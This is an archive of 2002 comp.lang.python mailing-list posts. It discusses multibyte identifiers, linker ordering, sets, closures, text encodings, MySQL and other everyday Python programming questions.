wrote: > I agree that programming language keywords should not be localized; > the notations for iteration, conditionals, math, abstraction, > application, and so forth, should not vary by language. It is > perfectly acceptable for a person who does not speak English to learn > "if", "for", "except", and so forth, in order to speak Python; the > vocabulary is quite small. It is no different from American musicians > having to learn "allegro", "D.C. al fine", and "tremolo" --- it simply > doesn't add significantly to the difficulty of the notation. I disagree. I wouldn't object if a language used "si" or "weil" instead of "if". But I sure as heck wouldn't want to use a Chinese character. No matter how good a programming language is, if it requires the use of Chinese characters I'm not touching it. I wouldn't expect a monolingual Chinese speaker to feel any better about Python. Remember the subject is "multibyte character support" not "alternative European code page support". > But variable and function names belong to the programmer and the > program's audience, not the notation, and should be written in the > language that affords these people the most expressive power. Yes, but you can write any language using the roman alphabet. If you can learn to use that alphabet for the keywords, you can translate variable names as well. It's only a matter of convenience, or for speakers of European languages that use accented characters. Is it such a big problem to lose the accents? You still have to deal with a standard library built around English. And there are all kinds of problems that arise when you use arbitrary character sets. Like (hoping these come out right) ? and ? can look similar from a distance, as can "Latin Small Letter A With Macron". Would you feel confident distinguishing ? and ? on a low resolution monitor? What happens if you receive code that uses a character set you don't have a font for? If you look through some Unicode tables you'll see characters that look identical, in some cases are defined to be identical. Does the interpreter have to keep a lookup table of equivalences? How does it know what constitutes a "letter" in the first place? I don't know if it's for English speakers to comment on, but I feel uneasy about such a change. If the parser could recognise arbitrary characters, the regular expressions knew what a letter was independent of locale and Unicode strings could be reliably compared then at least the implementation would be easy. But I can see people shooting themselves in the foot as easily as they do with pointer arithmetic. Still, write a PEP if you know exactly what you want. I could sleep much easier knowing such a proposal had been definitively rejected. Graham From pinard at iro.umontreal.ca Wed May 1 18:54:19 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 01 May 2002 18:54:19 -0400 Subject: Buffer growth, lazy opitimization In-Reply-To: <1020278511.22600.0.nnrp-01.d4e54907@news.demon.co.uk> References: <1020278511.22600.0.nnrp-01.d4e54907@news.demon.co.uk> Message-ID: [Stephen D Evans] > Learning from other people's experience I tend to use a factor of 1.5 > for buffer size increments. I often use 1.414 (sqrt(2)), so the buffer doubles its size at every other growth. I find this aesthetic, there is no real other reason! :-) -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From martin at v.loewis.de Mon May 20 17:05:23 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 20 May 2002 23:05:23 +0200 Subject: -lModules -lPython -lObjects -lParser References: Message-ID: Anton Graph <""aglyport\"@n-o.s,p/a__m.yahoo.com> writes: > g++ -V 2.95.3 -g -o metadb metadb.o metaadb.o metaddl.o metapy.o > i386-linux.o -L/usr/local/lib/python2.2/config -lpython2.2 config2.o > -lpthread -ldl -lutil -lm [...] > What am I doing wrong? You need to pass config2.o before -lpython2.2. The linker processes input from left to right. Regards, Martin From BPettersen at NAREX.com Fri May 17 16:35:23 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Fri, 17 May 2002 14:35:23 -0600 Subject: PEP 218 Re: ANN: set-0.1 module available Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192B98ABD@admin56.narex.com> > From: Erik Max Francis [mailto:max at alcyone.com] > > "James J. Besemer" wrote: > > > "Denis S. Otkidach" wrote: > > > > > On Thu, 16 May 2002, Roman Suzi wrote: > > > > > > That's to complex. Maybe sets should be always immutable like > > > tuples? > > > > Python has clear precedent for doing so, in that strings, > tuples and > > long integers all are immutable. > > Why is that a precedent? Lists aren't immutable, and you're > as likely to want to add and remove objects from a set as you > are to modify a list. >From the experience with our set class here, sets are never modified once they're created. What is frequent is creating new sets based on the union, intersection, and set difference of two sets, but there is almost always a requirement that the original set stays the same. YMMV of course :-) Personally, I would be more than happy if Tim Peter's Python implementation of a set was put in the std lib (I don't really care that much about performance though as long as I have the functionality...) -- bjorn From bkc at Murkworks.com Fri May 31 10:00:37 2002 From: bkc at Murkworks.com (Brad Clements) Date: Fri, 31 May 2002 10:00:37 -0400 Subject: Interfacing to 1-Wire LAN, especially Dallas temperature sensors? References: Message-ID: <3cf7808f_5@goliath.newsgroups.com> The DalSemi /Maxim i-Buttons have Java and C drivers. Maybe ActiveX too. You could definately use Jython without breaking a sweat. For CPython, you could probably interface with the C driver without much trouble. -- Novell DeveloperNet Sysop #5 _ "Christian Aastorp" wrote in message news:a7iefuk650noamrqcmpvroqj60mtgbpf9v at 4ax.com... > > I'm considering doing some temperature control and logging, both > enviromental and inside computers. Did a google search, and found > references to the range of temperature sensors from Dallas > Semiconductors. > > I also found schematics for interfacing with the serial port, and > timing diagrams for implementing 1-Wire Lan using direct control of > the port. > > As I'm using Python for my programming, these days, I would like some > pointers to modules or techniques to use Python to read the > temperature sensors. > > Christian Aastorp -----------== Posted via Newsfeed.Com - Uncensored Usenet News ==---------- http://www.newsfeed.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =----- From aahz at pythoncraft.com Thu May 30 17:09:48 2002 From: aahz at pythoncraft.com (Aahz) Date: 30 May 2002 17:09:48 -0400 Subject: Avoiding `exec', how to? References: Message-ID: In article , =?iso-8859-1?q?Fran=E7ois?= Pinard wrote: > >I do not like using `exec', and wonder if there is a way to avoid it in: > ># Fabriquer une variable globale pour chaque ?l?ment de DEFS. >for name, value in defs.__dict__.items(): > if name[0] != '_': > # J'aimerais bien ?viter `exec'... > exec '%s = %s' % (name, repr(value)) >del defs, name, value > >The goal here is to initialise one global variable per item in DEFS, >preserving the item name and value in each. import m for name, value in defs.__dict__.items(): if not name.startswith('_'): setattr(m, name, value) m is of course the name of the module. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From ritchie at fnal.gov Fri May 10 11:21:42 2002 From: ritchie at fnal.gov (David J. Ritchie) Date: Fri, 10 May 2002 10:21:42 -0500 Subject: Python vs. Perl, which is better to learn? References: <3CDAA5A5.D4077E5C@fnal.gov> <3CDB3AB2.12C5680F@cosc.canterbury.ac.nz> Message-ID: <3CDBE586.A81BA732@fnal.gov> Greg Ewing wrote: > "David J. Ritchie" wrote: > > > > I must admit that ... indentation is a pain. > > So what do you do when you have to move blocks > of code in a non-indentation-sensitive editor? > Leave the indentation ragged? Or use a suitably > talented editor...? > > -- > Greg Ewing, Computer Science Dept, University of Canterbury, > Christchurch, New Zealand > To get my email address, please visit my web page: > http://www.cosc.canterbury.ac.nz/~greg As for example, when I am stuck with a slow line, ed, or vi... If it's perl and its a quick and dirty hack job, I just leave it ragged. The nice thing about perl is it doesn't care. If I think I'll have to live with it, I'll indent it appropriately so I can have a prayer of understanding it later. If it's python, of course I adjust it to make it work. But what I do is only relevant as an example of how some segment of the populace composes text--whether that text is to be read and understood only by humans or by humans and computers. In my look at how composition is taught in language arts in the second or third grade, I find that there is an emphasis on getting the kids to put down their ideas in a way that at least reminds themselves of what they were trying to say and then encourages them to read the work outloud, check it for understandability, and then to make the work more understandable by a process of successive editing and molding of the text into recognized and accepted forms. I find I write that way in draft form and that it is effective at getting my ideas into text form. Isn't there something to be gained by devising a computing language which lets you take that approach--rather than putting strictures on you very early before you've even understood what it is that you want to communicate to the machine? If so, then a computer language that lets you move blocks of code around easily is an advantage. With Python, it is clear that you need to augment the language with a suitably capable editor if you adopt that composition style. Maybe it's just the beginning of the indication that one should be composing--not in a text editor at all--but in a design tool that generates the text--that's sort of what the popularity of the "visual xxx" things are saying... --D. -- ritchie at fnal.gov http://home.fnal.gov/~ritchie/ From yvan.radenac at equant.com Sun May 12 08:11:02 2002 From: yvan.radenac at equant.com (Yvan Radenac) Date: 12 May 2002 05:11:02 -0700 Subject: Result of I need your experience - classification and comparison of languages References: <20020508200439966+0100@pc-62-30-160-65-hw.blueyonder.co.uk> Message-ID: Hi, You can find an updated report, with your corrections, at http://perso.wanadoo.fr/yvan.radenac/informatique/cnam/genie-log/projetb5.pdf The another URL will be updated. Thank you for your reading. Regards, Yvan From goodger at users.sourceforge.net Tue May 28 21:40:36 2002 From: goodger at users.sourceforge.net (David Goodger) Date: Wed, 29 May 2002 01:40:36 GMT Subject: intra-package mutual imports fail: "from import " References: Message-ID: I forgot to mention, I got this result with Python 2.2.1 (Win2K) and 2.1.1 (GNU/Linux). From mal at lemburg.com Wed May 15 17:49:04 2002 From: mal at lemburg.com (M.-A. Lemburg) Date: Wed, 15 May 2002 23:49:04 +0200 Subject: Multi-precision packages: gmpy vs mxNumber References: Message-ID: <3CE2D7D0.6050802@lemburg.com> Fernando P?rez wrote: > Do any of the experts have any advice on the pros and cons of these two GMP > wrappers? They both seem spotty in documentation and both appear stalled in > current development. The former is still true for mxNumber, the latter is not: I'm just waiting for GMP4 itself to settle and get a working Windows port of ready for production use. Please remember that mxNumber is still in the experimental stage. My intention is to use mxNumber with a fixed point decimal type to use in database interaction for storing mxODBC decimal column data. > URLS: > > http://gmpy.sourceforge.net/ > http://www.egenix.com/files/python/mxNumber.html > > I'd like to go with the better of the two but would rather not dive into > extensive testing/comparison if someone knows of a definitive answer off > hand. -- Marc-Andre Lemburg CEO eGenix.com Software GmbH ______________________________________________________________________ Company & Consulting: http://www.egenix.com/ Python Software: http://www.egenix.com/files/python/ From robin.siebler at corp.palm.com Fri May 17 15:58:21 2002 From: robin.siebler at corp.palm.com (Robin Siebler) Date: 17 May 2002 12:58:21 -0700 Subject: What does this traceback message mean? Message-ID: <886c5e4b.0205171158.21dee0e0@posting.google.com> I tried creating a COM object using win32com.client.dispatch and got this error message: Traceback (most recent call last): File "", line 1, in ? File "C:\Python22\Lib\site-packages\win32com\client\__init__.py", line 92, in Dispatch dispatch, userName = dynamic._GetGoodDispatchAndUserName(dispatch,userName,clsctx) File "C:\Python22\Lib\site-packages\win32com\client\dynamic.py", line 81, in _GetGoodDispatchAndUserName return (_GetGoodDispatch(IDispatch, clsctx), userName) File "C:\Python22\Lib\site-packages\win32com\client\dynamic.py", line 72, in _GetGoodDispatch IDispatch = pythoncom.CoCreateInstance(IDispatch, None, clsctx, pythoncom.IID_IDispatch) com_error: (-2147221005, 'Invalid class string', None, None) Can anyone tell me what it means? From Paul.Lydon at uk.experian.com Wed May 15 08:40:39 2002 From: Paul.Lydon at uk.experian.com (Lydon, Paul) Date: Wed, 15 May 2002 13:40:39 +0100 Subject: Python 2.2.1 Windows / install variables ? Message-ID: <5DABF7424840D411BE9600508B6621F805A876A3@exchukthis02.experian.co.uk> > -----Original Message----- > From: Mark Hammond [mailto:mhammond at skippinet.com.au] > Sent: 14 May 2002 04:18 > To: python-list at python.org > Subject: Re: Python 2.2.1 Windows / install variables ? > > > Rich Pinder wrote: > > Firstly, I did try uninstalling, loggin in as root, > re'installing - no > > difference. (but my user profile is setup so I do have install > > priviliges on the machine) > > > > There isnt really a 'per user' option that I see with this installer > > .... but under advanced options you can select 'Admin install' or > > 'Non-admin install'. Is this what you're thinking about ? > It really > > has to do with where you write the .dll's and other stuff executable > > stuff. Both would work for any user, but if you're > installing, and you > > dont have wrtie permissions to system32 directory, > 'Non-admin install' > > would allow you to still install the software. > > That is what I was thinking of. If I understand correctly, another > side-effect of that option is that HKEY_CURRENT_USER is used > rather than > HKEY_LOCAL_MACHINE. I am guessing that the 3rd party extensions are > looking only on HKLM for the "InstallPath" registry entry and not > finding it. > > I could obviously be off-base though. > > Mark. Here's what I believe is the appropriate entry from my NT 4.0 Registry: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Pytho n 2.2.1 ----------------- Paul Lydon PC Build Group Experian ======================================================================= Information in this email and any attachments are confidential, and may not be copied or used by anyone other than the addressee, nor disclosed to any third party without our permission. There is no intention to create any legally binding contract or other commitment through the use of this email. Experian Limited (registration number 653331). Registered office: Talbot House, Talbot Street, Nottingham NG1 5HF From fperez528 at yahoo.com Fri May 10 12:13:29 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Fri, 10 May 2002 10:13:29 -0600 Subject: Conditional compilation References: <3cdbb641_2@news3.newsgroups.com> Message-ID: James J. Besemer wrote: > Prefix your code segment with > > if 0: > > and indent it a level. > > This is not as fully general as #ifdef but since even declarations are > executed at runtime, it'll serve as a way to selectively include or exclude > blocks of code. > Why not just use #ifdef? ;) I'm only half joking: it would take a few minutes to whip up a shell script to run your python code through the gcc preprocessor first before passing it to python. As long as you have spaces in your normal comments (no #include as a comment), you should be allright, no? I haven't actually tried it, so maybe the preprocessor would somehow get confused, and yes, it's a bit of a twisted idea. But fun ;) cheers, f. From spam at bugbear.com Fri May 17 18:28:06 2002 From: spam at bugbear.com (Paul Graham) Date: 17 May 2002 15:28:06 -0700 Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> Message-ID: <4f52f844.0205171428.50029adc@posting.google.com> Thanks to several people who have sent me Python "translations" for the following: Scheme: (define (foo x) (lambda (y) (set! x (+ x y)))) Perl: sub foo { my ($n) = @_; sub {$n += shift} } Here is a summary of the answers I got. This is the closest thing to a direct translation: def foo(n): s = [n] def bar(i): s[0] += i return s[0] return bar but it is considered ugly, and the canonical way to do this seems to be by defining a class: class foo: def __init__(self, n): self.n = n def __call__(self, i): self.n += i return self.n --pg From andy at reportlab.com Thu May 9 16:13:19 2002 From: andy at reportlab.com (Andy Robinson) Date: Thu, 9 May 2002 21:13:19 +0100 Subject: pyRXP 0.7 - very fast validating XML parser Message-ID: ReportLab are proud to present pyRXP version 0.7 - probably(*) the fastest validating XML parser available for Python. http://www.reportlab.com/xml/pyrxp.html RXP is a very fast and fully compliant validating XML parser written by Richard Tobin of the University of Edinburgh, Language Technology Group. pyRXP is a wrapper around this which constructs a lightweight in-memory "tuple tree" in a single call. This structure is the lightest one we could define in Python, and it is constructed entirely in C code, resulting in unprecedented speed; the memory footprint is also several times more compact that DOM Node objects in either Python or Java. The deployment is a single Python extension module of approximately 100kb. PyRXP, like RXP is under the General Public License. Commercial licenses are available from ReportLab for situations where GPL is not appropriate, such as embedding in closed source products. This is not a full DOM implementation. But if you need to get XML data into memory, we think it will do what 90% of the people want, in 10% of the time. And with validation. Enjoy! Andy Robinson CEO/Chief Architect, ReportLab Inc. * We have been informed that Daniel Viellard's Python wrapper for libxml2 may be a contender, but have not been able to do a comparable benchmark. No parser using Python SAX events even comes close. From kragen at pobox.com Tue May 21 09:52:32 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 21 May 2002 09:52:32 -0400 Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> <4f52f844.0205150815.631b3415@posting.google.com> <4f52f844.0205151504.181f5cf0@posting.google.com> Message-ID: <83u1p1lian.fsf@panacea.canonical.org> Michael Hudson writes: > Well, I just swiped this from the online version of SICP: > > (define (make-withdraw balance) > (lambda (amount) > (if (>= balance amount) > (begin (set! balance (- balance amount)) > balance) > "Insufficient funds"))) > > (define W1 (make-withdraw 100)) > (define W2 (make-withdraw 100)) > (W1 50) > 50 > (W2 70) > 30 > (W2 40) > "Insufficient funds" > (W1 40) > 10 > > I don't suppose you need telling that in Python you do this like so: > > class Balance: > def __init__(self, balance): > self.balance = balance > def withdraw(self, amount): > if amount <= self.balance: > self.balance -= amount > return self.balance > else: > return "Insufficient funds" > > >>> W1 = Balance(100) > >>> W2 = Balance(100) > >>> W1.withdraw(50) > 50 > >>> W2.withdraw(70) > 30 > >>> W2.withdraw(40) > 'Insufficient funds' > >>> W1.withdraw(40) > 10 FWIW closures are differently flexible than class instances; you can have several closures that share the same state, for example, while you can inspect the state of Python class instances (without the debugger, which lets you do the same for closures in many Schemes). From programisci at NOSPAM.murator.com.pl Thu May 2 08:33:50 2002 From: programisci at NOSPAM.murator.com.pl (Johann) Date: Thu, 02 May 2002 14:33:50 +0200 Subject: internationalization problems References: <3cd12f56$1@brateggebdc5.br-automation.co.at> Message-ID: On Thu, 2 May 2002 14:21:56 +0200, "Werner Schiendl" wrote: >use the 'right' names for the encodings: > >>>> x=u'some text' >>>> x.encode('iso-8859-1') >'some text' >>>> x.encode('iso-8859-2') >'some text' THANX! It solve everything. :-) -- Johann From programisci at NOSPAM.murator.com.pl Thu May 2 09:48:39 2002 From: programisci at NOSPAM.murator.com.pl (Johann) Date: Thu, 02 May 2002 15:48:39 +0200 Subject: internationalization problem... References: <3cd12f56$1@brateggebdc5.br-automation.co.at> Message-ID: <28e2du8f1jacggesbq6vdqqctn5424tq7l@4ax.com> On Thu, 02 May 2002 14:33:50 +0200, Johann wrote: >>use the 'right' names for the encodings: >> >>>>> x=u'some text' >>>>> x.encode('iso-8859-1') >>'some text' >>>>> x.encode('iso-8859-2') >>'some text' > >THANX! It solve everything. :-) Not exactly. I checked it carefully. It does not work as I wanted. :-( Let mi show an example. I created with XMLSpy a file coded to utf-8:
a??c??l??n??o??s??z??x??
In interpreter I wrote: fh = open(path + r'\utf8.xml', 'r') buf = fh.readlines() fh.close() x = buf[1] print x
a?????c?????l?????n?????o????s?????z????x????
for c in x.encode('ISO-8859-2'): print c, < m a i n > a ?? ??? c ?? ??? l ?? ??? n ?? ??? o ?? ?? s ?? ??? z ?? ?? x ?? ?? < / m a i n > There are splitted (2-byte) utf-8 characters into two independent 8-bit characters. :-( It is not conversion from utf-8 to iso-8859-2 at all. I found ot works correctly but only for... 7-bit u'strings'. I -- Johann From jmdeschamps at cvm.qc.ca Thu May 16 08:23:57 2002 From: jmdeschamps at cvm.qc.ca (jmdeschamps) Date: 16 May 2002 05:23:57 -0700 Subject: Best book for python? References: Message-ID: <3d06fae9.0205160423.6a22492@posting.google.com> "obantec support" wrote in message news:... > Hi > > I need to get up to speed on python so am looking for a book. > Quite a few at amazon to choose from. > Any recommendations? > > (BTW i already program in perl/php) > > Mark If you don't absolutely need to hold bounded paper in your hands, there are a few online options : Five Minutes to a Python CGI - http://www.webreview.com/2000/07_07/developers/07_07_00_2.shtml Instant Hacking - http://www.hetland.org/python/instant-hacking.php How to think like a computer scientist - http://www.ibiblio.org/obp/thinkCSpy/ Dive Into Python - http://diveintopython.org) - not for newbies :)) Python 2.0 - Quick Reference - http://www.brunningonline.net/simon/python/quick-ref2_0.html) Happy motoring ! Jean-Marc cegep du vieux-montreal From ianb at colorstudy.com Mon May 13 04:04:21 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 13 May 2002 03:04:21 -0500 Subject: Is there such a beast as a "perfect" shuffle? :) In-Reply-To: References: Message-ID: <1021277062.517.638.camel@localhost> I'm late on the thread, but perhaps this is better: def shuffle(l): l = [(random.random(), i) for i in l] l.sort() return [i for r, i in l] If you use a real random number generator (e.g., /dev/urandom), instead of random's pseudo-random generator, then you will be able to receive the full len(l)! possibilities. The precision of floats will lead to a certain amount of non-randomness, with large enough l. Perhaps you could do something like: l.sort(lambda a, b: cmp(a[0], b[0]) or random.randrange(-1, 2)) I don't know what the distribution of this looks like: def shuffle(l): l = l[:] l.sort(lambda a, b: cmp(random.randrange(-1, 2)) return l I guess it depends on sort's algorithm. A nondeterministic sort is kind of odd to think about. Ian From python at dohao.org Wed May 8 08:21:45 2002 From: python at dohao.org (Wenshan Du) Date: 8 May 2002 05:21:45 -0700 Subject: Multibyte Character Surport for Python Message-ID: hi, Iike Python, but it is not very good at doing with multibyte character. So, I rebuilt the pythoncore source code ,make a patch for Python 2.2.1. Now, you can name you variables, class or function with multibyte character, like Chinese, Kerea or Japanese etc. Python will not displasy messages like "\xc4\xe3\xba\xc3" when you print a string with multibyte character or search a database like ACCESS with mxODBC. I name it Multi Byte Character Surport Patch(MBCSP). Now I like Python better. Enjoy ! Download MBCSP for Python2.2.1 from URL: http://www.dohao.org/python/mbcsp/en/ Enjoy! From rnd at onego.ru Sun May 26 23:35:19 2002 From: rnd at onego.ru (Roman Suzi) Date: Mon, 27 May 2002 07:35:19 +0400 (MSD) Subject: Another newbie question In-Reply-To: Message-ID: On Sun, 26 May 2002, SA wrote: >I am trying to find a way to list the contents of a directory into a list so >that the contents of the list are then read into an html doc as hrefs. import os lst = os.listdir("/path/to/dir") or import glob lst = glob.glob("path/to/dir/*") >What I'm looking for is a way to ls a directory. Is there a way to access >the shell command ls from within a python script and dumping the output into >a list for further manipulation? Or does this have to be built from the >ground up inside the python script? > >Thanks. >SA > > Sincerely yours, Roman Suzi -- \_ Russia \_ Karelia \_ Petrozavodsk \_ rnd at onego.ru \_ \_ Monday, May 27, 2002 \_ Powered by Linux RedHat 7.2 \_ \_ "Politics is the entertainment branch of industry." \_ From opengeometry at NOSPAM.yahoo.ca Tue May 7 17:25:19 2002 From: opengeometry at NOSPAM.yahoo.ca (William Park) Date: 7 May 2002 21:25:19 GMT Subject: "Inserting" a line in a text file? References: Message-ID: William Park wrote: > On Tue, May 07, 2002 at 09:34:02PM +0100, Duncan Smith wrote: >> I need to (in effect) insert a single line at the beginning of an >> existing text file (a dumped MySQL database, so potentially large). Is >> there anything cuter than eg. creating a temporary file containing the >> single line, reading the lines from the data file, appending them to the >> temporary file, deleting the data file, renaming the temporary file? >> Currently on Win2000, but the solution needs to be cross platform. I can >> always go with the obvious, but something faster and / or simpler would >> be nice (I might even learn something). Cheers. TIA. > > Well, that's how I would do it... but, I'm on Linux. If you have access to 'ed' or 'vi', then you can insert using the text editors. Eg. -- William Park, Open Geometry Consulting, 8-CPU Cluster, Hosting, NAS, Linux, LaTeX, python, vim, mutt, tin From sholden at holdenweb.com Wed May 1 07:42:08 2002 From: sholden at holdenweb.com (Steve Holden) Date: Wed, 1 May 2002 07:42:08 -0400 Subject: Python vs. Perl, which is better to learn? References: <826628efe5.fsf@acropolis.localdomain> Message-ID: "Patrick W" wrote in message news:826628efe5.fsf at acropolis.localdomain... > rmelson at gilia.nmsu.edu ("Bob Melson") writes: > > > If you're asked to build a house, you certainly don't confine > > yourself to a single tool -- you use the tools appropriate to the > > job you have to do; why should it be different with scripting > > languages? > > Because the "right tool for the right job" approach is wrong in this > context. It should apply to the choice of language _categories_, not > languages _within_ a category. There are better things to do with time > and mental energy than learn a dozen different ways of doing the same > thing. > > If it took a minimum of six months to learn how to push two different > brands of wheelbarrow, can you imagine an experienced builder saying > to his apprentice: learn both? Speaking as someone who bought a house just over a year ago, I'd be very surprised if the builder *had* apprentices, and even more surprised if any of them could pronounce "wheelbarrow". Seems to me that the IT industry would be a fruitful place to reintroduce the concepts of the mediaeval apprenticeship. buut-only-if-i-get-to-be-master-ly y'rs - steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From programisci at NOSPAM.murator.com.pl Thu May 2 07:57:08 2002 From: programisci at NOSPAM.murator.com.pl (Johann) Date: Thu, 02 May 2002 13:57:08 +0200 Subject: internationalization problems Message-ID: I want to prepare multi platform application which can work in Windows, Linux and MacOS. The problem is I cannot relay on utf-8 charset because older computers cannot display it correctly. So I need to implement codec for 3 different charsets because Windows uses window-1250, Linux uses iso-8859-2 and Mac uses its own different coding for Polish characters (I assume, my application will be in Polish characters native to each platform). I thought it would be good to use codec library, but I have almost no examples in manual how to use it. I have also no experience with this library. Is it good idea to choose it? Maybe I should choose another way? I have also problem with converting from utf-8 into window-1250 or iso-8859-2 (latin-2). E.g. x = u'some text' x.encode('latin-1') # it works but.... I need latin-2... x.encode('latin-2') #It does not work :-( #err: LookupError: unknown encoding -- Johann From tismer at tismer.com Sun May 26 19:15:53 2002 From: tismer at tismer.com (Christian Tismer) Date: Sun, 26 May 2002 16:15:53 -0700 Subject: Ann: Stackless Limbo Dancing Works Fine! References: Message-ID: <3CF16CA9.2010706@tismer.com> Fernando Pereira wrote: > On 5/26/02 6:15 AM, "Christian Tismer" wrote: > > >>Discordance on these issues might make me want to leave them. >>Please, all, your task is to make me do the right thing(TM), >>which is a real challenge. Internals have for sure their own >>auditory. Please continue with advice, which was great so far. > > > Here are the design decisions that underlies the most recent hair-splitting: > do channels have single readers and writers (1-to-1 channels), or not? If > they are 1-to-1, how is that enforced? I think JCSP deals with this the > right way. There are several classes of channel: 1-to-1, 1-to-many, > many-to-1, many-to-many, but all of them share common interfaces for reading > and writing. The most complicated case, many-to-many, would need some ariant > of the full machinery described in that old Cardelli paper; the others would > be easier sub-cases. I also like this design because you can start with > 1-to-1, which is the easiest and most common case, and add the others if and > when needed. Many many thanks! Then I think I should get the JCSP source (btw. the PowerPoint slides were a delight!) and study how they do it. Something to lean on is better than re-inventing the wheel. have a nice holiday - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From martin_byrne2 at yahoo.co.uk Wed May 29 11:57:39 2002 From: martin_byrne2 at yahoo.co.uk (B) Date: 29 May 2002 08:57:39 -0700 Subject: Python ActiveX Scripting Engine (0x80020009) Error - KeyboardInterrupt - python 2.2 Message-ID: <508cb8ae.0205290757.6659230@posting.google.com> Hi, Im currently using ActivePython 2.2, win2k and IIS 5.0. I am using python as the scripting language for most of my asp pages and on the whole its doing a good job, however, when I use Response.Redirect I get the error listed at the end of this post,which was a bug in earlier versions of python but,I thought, solved in 2.2: An example of the 4 test pages Im using are listed below. I know javascript is not the problem because I started my testing with two python pages redirecting to each other *only* and got the error.The javascript pages are only so I can see whats happening. Problem 1: Initially I was having the problem where an asp page would work fine the first time (after iis was started or the file itself was saved) but each time after that I would get a white blank page. I solved this by replacing the framework.py from win32all-146(included with activepython 2.2) with the framework.py from win32all-140. This solved the blank page problem but led to problem 2. Problem 2: Until today I was getting a HTTP/1.1 500 Server Error so i ran pyscript --unregister and then pyscript to remove and reregister the python activex components. This solve the 500 error but has left me with the keyboardInterrupt error-problem 3. Problem 3: I managed to get rid of the error by enabling server side debugging in IIS. This solution is far from satisfactory as there are performance and stability issues with leaving script debugging switched on. Has anyone any Ideas how to solve this KeyboardInterrupt problem(correctly) or why turning on server side debugging seems to keep the error at bay. Could it be to do with threading models as debugging serializes threads ? ERROR MESSAGE + TEST SCRIPTS BELOW Error Type: Python ActiveX Scripting Engine (0x80020009) Traceback (innermost last): File " ------------------ test1.html GOT HERE From ods at fep.ru Thu May 23 10:55:56 2002 From: ods at fep.ru (Denis S. Otkidach) Date: Thu, 23 May 2002 18:55:56 +0400 (MSD) Subject: Importing Self In-Reply-To: Message-ID: On 22 May 2002, Salim Zayat wrote: SZ> Hey there. I am running into a weird sort of problem. I had SZ> two SZ> versions of the same tree-drawing code, a module to be used SZ> by another SZ> program. I made some corrections to the second. Now, for SZ> some reason, SZ> it is getting hung up in some stupid error. SZ> I made a class named Error in my file. In the first SZ> version, I can SZ> merely say : SZ> SZ> isinstance(e, Error) SZ> SZ> and it executes the statement fine. However when I try the SZ> same in the SZ> second file, I get an Exception. But, when I import the SZ> module itself, SZ> then say: SZ> SZ> isinstance(path.filename.Error) SZ> SZ> it works fine. Why is this? What are these sort of SZ> problems indicituve of? It looks like you have circular imports. Circular imports are bad thing, but circular "from module import *" are VERY BAD: they cause "strange" NameErrors when you sure the name should be imported from module. Just change "from module import *" to "from module import name1, name2, ..." to detect such problem. From kwokng at earthlink.net Tue May 7 19:33:55 2002 From: kwokng at earthlink.net (Billy Ng) Date: Tue, 07 May 2002 23:33:55 GMT Subject: MySQL questions References: Message-ID: > > Question 1 > > I have a freq field that contains '"15:0" MINUTE_SECOND', why can't I do > > this? > > > > UPDATE table SET set next_update=DATE_ADD(NOW(), INTERVAL table.freq); > > > Perhaps if you explained what it was you were trying to do, then we might be > able to explain how to do it in SQL and/or Python. Seems like you want to > add an interval specified in hours and minutes (as a string?) in a row of > one table to a field in a row of some other table. > > Is "freq" in the same table as "next_update"? Is there just one row in this > table? > > If the table rows aren't huge, maybe you cxould even give us their > definition (from the "DESCRIBE table" SQL command). Each row has its own freq. "freq" is in the same table as "next_update". There are many rows in the table. | last_update | timestamp(14) | YES | | NULL | | | next_update | datetime | | | 0000-00-00 00:00:00 | | | xml_text | text | | | | | | submit_date | datetime | | | 0000-00-00 00:00:00 | | | assistant_id | int(11) | | | 0 | | | search_id | varchar(25) | | PRI | | | | freq | varchar(30) | | | | | > > Question2 > > How can I INSERT a record into the table if the table does not have any > > record with a provided id in the id field? Do I need to join a SELECT > > statement? > > > You mean the table has no primary key? That would make it rather difficult > to uniquely specify (with a WHERE clause) which row to update. The usual way > to get around this is to use an INTEGER AUTO_INCREMENT field as the primary > key. When you insert into a table with such a key, but provide no value for > the key field (or specifically provide a NULL value) MySQL puts a unique > value for that field in the inserted row. You can retrieve the inserted > value in SQL using the last_inserted() or some similar function whose name > escapes me for the moment. The combination of the user_id and product_id will be uniqe. When I get the product_id and user_id, i want to change the tableA to see if there is a record that has this user_id and product_id. If not, I will insert a record with this user_id and product_id. What I am doing right is: Query to count tableA whether it has the user_id and product_id if count is 0 insert tableA (user_id, product_id) values (xxxxx, xxxxxxx) I think it must a way to write it in one SQL statement. > > Question3 > > Can I query from a query in MySQL? > > > You mean can the output of one query become the input of another? Only if > you store the first query's output in a temporary table. > > Most often, however, this isn't necessary if you make your SQL queries a > little more complex. Again, a few more details might help... Oh yes, dummy table will do the job. I have not done databases for too long. I totally forgot this. Thanks! Billy Ng From claird at starbase.neosoft.com Sun May 5 00:38:44 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 4 May 2002 23:38:44 -0500 Subject: Looking for a scripting language References: <3cd49f78$0$355$9b622d9e@news.freenet.de> Message-ID: In article <3cd49f78$0$355$9b622d9e at news.freenet.de>, deckerben wrote: . . . >As part of my experimentation, I ported the Python 